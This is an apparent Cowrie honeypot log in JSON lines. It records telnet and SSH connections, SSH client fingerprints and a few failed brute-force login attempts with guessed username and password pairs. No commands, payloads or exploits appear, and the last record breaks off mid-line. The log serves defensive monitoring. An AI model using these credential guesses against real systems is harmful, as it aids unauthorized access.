{"eventid":"cowrie.login.failed","username":"federico","password":"federico1234","message":"login attempt [federico/federico1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:36.505507Z","src_ip":"213.209.159.56","session":"9055639b39ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51940,"dst_ip":"159.203.135.109","dst_port":23,"session":"6debb1d80ecb","protocol":"telnet","message":"New connection: 135.148.33.91:51940 (159.203.135.109:23) [session: 6debb1d80ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:37.036462Z"}
{"eventid":"cowrie.login.failed","username":"federico","password":"federico12345","message":"login attempt [federico/federico12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:37.590008Z","src_ip":"213.209.159.56","session":"9055639b39ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.4196252822876,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:38.042054Z","src_ip":"135.148.33.91","session":"d61c5cf3880f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:38.675200Z","src_ip":"213.209.159.56","session":"9055639b39ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53378,"dst_ip":"159.203.135.109","dst_port":23,"session":"1177957e7f68","protocol":"telnet","message":"New connection: 135.148.33.91:53378 (159.203.135.109:23) [session: 1177957e7f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:40.240174Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":56656,"dst_ip":"159.203.135.109","dst_port":23,"session":"398a501a0b3e","protocol":"telnet","message":"New connection: 135.148.33.91:56656 (159.203.135.109:23) [session: 398a501a0b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:44.714514Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":54194,"dst_ip":"159.203.135.109","dst_port":23,"session":"153e2a55efc6","protocol":"telnet","message":"New connection: 104.140.145.149:54194 (159.203.135.109:23) [session: 153e2a55efc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:48.178136Z"}
{"eventid":"cowrie.session.closed","duration":0.004178524017333984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:48.182222Z","src_ip":"104.140.145.149","session":"153e2a55efc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":59928,"dst_ip":"159.203.135.109","dst_port":23,"session":"40670c9cd8a6","protocol":"telnet","message":"New connection: 135.148.33.91:59928 (159.203.135.109:23) [session: 40670c9cd8a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:53.456091Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":35526,"dst_ip":"159.203.135.109","dst_port":23,"session":"da69faf4a08c","protocol":"telnet","message":"New connection: 135.148.33.91:35526 (159.203.135.109:23) [session: da69faf4a08c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:04:58.626977Z"}
{"eventid":"cowrie.session.closed","duration":36.23444628715515,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:02.189037Z","src_ip":"135.148.33.91","session":"fa95bbed02e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":37666,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7f3b75e5e0a","protocol":"telnet","message":"New connection: 135.148.33.91:37666 (159.203.135.109:23) [session: d7f3b75e5e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:02.550745Z"}
{"eventid":"cowrie.session.closed","duration":36.874799966812134,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:03.083624Z","src_ip":"135.148.33.91","session":"9b1b7ec50c40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":39654,"dst_ip":"159.203.135.109","dst_port":23,"session":"7479a7a9e1c8","protocol":"telnet","message":"New connection: 135.148.33.91:39654 (159.203.135.109:23) [session: 7479a7a9e1c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:05.103386Z"}
{"eventid":"cowrie.session.closed","duration":35.43800616264343,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:06.488346Z","src_ip":"135.148.33.91","session":"eaa42cc2fcc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.225855588912964,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:12.465889Z","src_ip":"135.148.33.91","session":"1177957e7f68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.234137535095215,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:13.270480Z","src_ip":"135.148.33.91","session":"6debb1d80ecb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":43658,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f884781c2fa","protocol":"telnet","message":"New connection: 135.148.33.91:43658 (159.203.135.109:23) [session: 6f884781c2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:14.594513Z"}
{"eventid":"cowrie.session.closed","duration":34.83542537689209,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:19.549852Z","src_ip":"135.148.33.91","session":"398a501a0b3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":52304,"dst_ip":"159.203.135.109","dst_port":23,"session":"aba0ce124548","protocol":"telnet","message":"New connection: 135.148.33.91:52304 (159.203.135.109:23) [session: aba0ce124548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:26.582929Z"}
{"eventid":"cowrie.session.closed","duration":33.17817497253418,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:26.634099Z","src_ip":"135.148.33.91","session":"40670c9cd8a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":54208,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c14b3d8725f","protocol":"telnet","message":"New connection: 104.140.145.149:54208 (159.203.135.109:23) [session: 2c14b3d8725f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:26.820657Z"}
{"eventid":"cowrie.session.closed","duration":0.005659580230712891,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:26.826171Z","src_ip":"104.140.145.149","session":"2c14b3d8725f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53042,"dst_ip":"159.203.135.109","dst_port":23,"session":"04d209b36e4c","protocol":"telnet","message":"New connection: 135.148.33.91:53042 (159.203.135.109:23) [session: 04d209b36e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:27.912294Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53428,"dst_ip":"159.203.135.109","dst_port":23,"session":"c73fa809a6b2","protocol":"telnet","message":"New connection: 135.148.33.91:53428 (159.203.135.109:23) [session: c73fa809a6b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:28.538688Z"}
{"eventid":"cowrie.session.closed","duration":32.723706007003784,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:31.350502Z","src_ip":"135.148.33.91","session":"da69faf4a08c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":54510,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fc4b0fc3ea8","protocol":"telnet","message":"New connection: 135.148.33.91:54510 (159.203.135.109:23) [session: 2fc4b0fc3ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:31.526124Z"}
{"eventid":"cowrie.session.closed","duration":33.18492388725281,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:35.735699Z","src_ip":"135.148.33.91","session":"d7f3b75e5e0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":56982,"dst_ip":"159.203.135.109","dst_port":23,"session":"21ba947daeec","protocol":"telnet","message":"New connection: 135.148.33.91:56982 (159.203.135.109:23) [session: 21ba947daeec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:35.854956Z"}
{"eventid":"cowrie.session.closed","duration":35.57144498825073,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:40.674694Z","src_ip":"135.148.33.91","session":"7479a7a9e1c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.965410232543945,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:49.559761Z","src_ip":"135.148.33.91","session":"6f884781c2fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38100,"dst_ip":"159.203.135.109","dst_port":23,"session":"15a833a9559e","protocol":"telnet","message":"New connection: 135.148.33.91:38100 (159.203.135.109:23) [session: 15a833a9559e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:05:52.252664Z"}
{"eventid":"cowrie.session.closed","duration":34.112393856048584,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:00.695206Z","src_ip":"135.148.33.91","session":"aba0ce124548","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":53186,"dst_ip":"159.203.135.109","dst_port":23,"session":"16fd452f7df0","protocol":"telnet","message":"New connection: 104.140.145.149:53186 (159.203.135.109:23) [session: 16fd452f7df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:01.123752Z"}
{"eventid":"cowrie.session.closed","duration":0.005004167556762695,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:01.128599Z","src_ip":"104.140.145.149","session":"16fd452f7df0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.889931201934814,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:03.428511Z","src_ip":"135.148.33.91","session":"c73fa809a6b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.25888442993164,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:04.171029Z","src_ip":"135.148.33.91","session":"04d209b36e4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.11863613128662,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:05.644671Z","src_ip":"135.148.33.91","session":"2fc4b0fc3ea8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.66653108596802,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:09.521349Z","src_ip":"135.148.33.91","session":"21ba947daeec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":63053,"dst_ip":"159.203.135.109","dst_port":22,"session":"35c12f488061","protocol":"ssh","message":"New connection: 84.239.42.8:63053 (159.203.135.109:22) [session: 35c12f488061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:12.939026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:12.944320Z","src_ip":"84.239.42.8","session":"35c12f488061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:13.071355Z","src_ip":"84.239.42.8","session":"35c12f488061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"@dmin","password":"admin","message":"login attempt [@dmin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:13.568567Z","src_ip":"84.239.42.8","session":"35c12f488061","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50764,"dst_ip":"159.203.135.109","dst_port":23,"session":"46d31e12705b","protocol":"telnet","message":"New connection: 135.148.33.91:50764 (159.203.135.109:23) [session: 46d31e12705b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:13.752527Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51260,"dst_ip":"159.203.135.109","dst_port":23,"session":"efcd1f9434de","protocol":"telnet","message":"New connection: 135.148.33.91:51260 (159.203.135.109:23) [session: efcd1f9434de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:14.531061Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:14.697823Z","src_ip":"84.239.42.8","session":"35c12f488061","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":1995,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cb797fae67a","protocol":"ssh","message":"New connection: 185.158.22.150:1995 (159.203.135.109:22) [session: 4cb797fae67a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:14.934714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:14.939723Z","src_ip":"185.158.22.150","session":"4cb797fae67a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:15.099693Z","src_ip":"185.158.22.150","session":"4cb797fae67a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"administrator","message":"login attempt [ubuntu/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:15.753950Z","src_ip":"185.158.22.150","session":"4cb797fae67a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:16.913970Z","src_ip":"185.158.22.150","session":"4cb797fae67a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":38504,"dst_ip":"159.203.135.109","dst_port":23,"session":"f454f894167a","protocol":"telnet","message":"New connection: 104.140.145.149:38504 (159.203.135.109:23) [session: f454f894167a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:20.357724Z"}
{"eventid":"cowrie.session.closed","duration":0.004474639892578125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:20.362074Z","src_ip":"104.140.145.149","session":"f454f894167a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.311723709106445,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:24.564231Z","src_ip":"135.148.33.91","session":"15a833a9559e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47660,"dst_ip":"10.17.0.5","dst_port":23,"session":"d15a03bca0ad","protocol":"telnet","message":"New connection: 45.58.127.90:47660 (10.17.0.5:23) [session: d15a03bca0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:34.170240Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":39696,"dst_ip":"159.203.135.109","dst_port":23,"session":"d392c44b383c","protocol":"telnet","message":"New connection: 135.148.33.91:39696 (159.203.135.109:23) [session: d392c44b383c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:43.562746Z"}
{"eventid":"cowrie.session.closed","duration":32.60857343673706,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:47.139509Z","src_ip":"135.148.33.91","session":"efcd1f9434de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.06627583503723,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:47.818666Z","src_ip":"135.148.33.91","session":"46d31e12705b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":44806,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7080524f688","protocol":"telnet","message":"New connection: 135.148.33.91:44806 (159.203.135.109:23) [session: e7080524f688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:50.947787Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":45238,"dst_ip":"159.203.135.109","dst_port":23,"session":"89150fb6287f","protocol":"telnet","message":"New connection: 135.148.33.91:45238 (159.203.135.109:23) [session: 89150fb6287f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:51.680831Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":45634,"dst_ip":"159.203.135.109","dst_port":23,"session":"7db5e014c825","protocol":"telnet","message":"New connection: 135.148.33.91:45634 (159.203.135.109:23) [session: 7db5e014c825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:52.466152Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":42330,"dst_ip":"159.203.135.109","dst_port":23,"session":"73f02218ba2e","protocol":"telnet","message":"New connection: 104.140.145.149:42330 (159.203.135.109:23) [session: 73f02218ba2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:57.250826Z"}
{"eventid":"cowrie.session.closed","duration":0.005366802215576172,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:06:57.256060Z","src_ip":"104.140.145.149","session":"73f02218ba2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":52188,"dst_ip":"159.203.135.109","dst_port":23,"session":"455cdfe123f2","protocol":"telnet","message":"New connection: 135.148.33.91:52188 (159.203.135.109:23) [session: 455cdfe123f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:04.154679Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":36714,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f62620b35b0","protocol":"ssh","message":"New connection: 185.158.22.150:36714 (159.203.135.109:22) [session: 5f62620b35b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:07.199388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:07.205016Z","src_ip":"185.158.22.150","session":"5f62620b35b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com"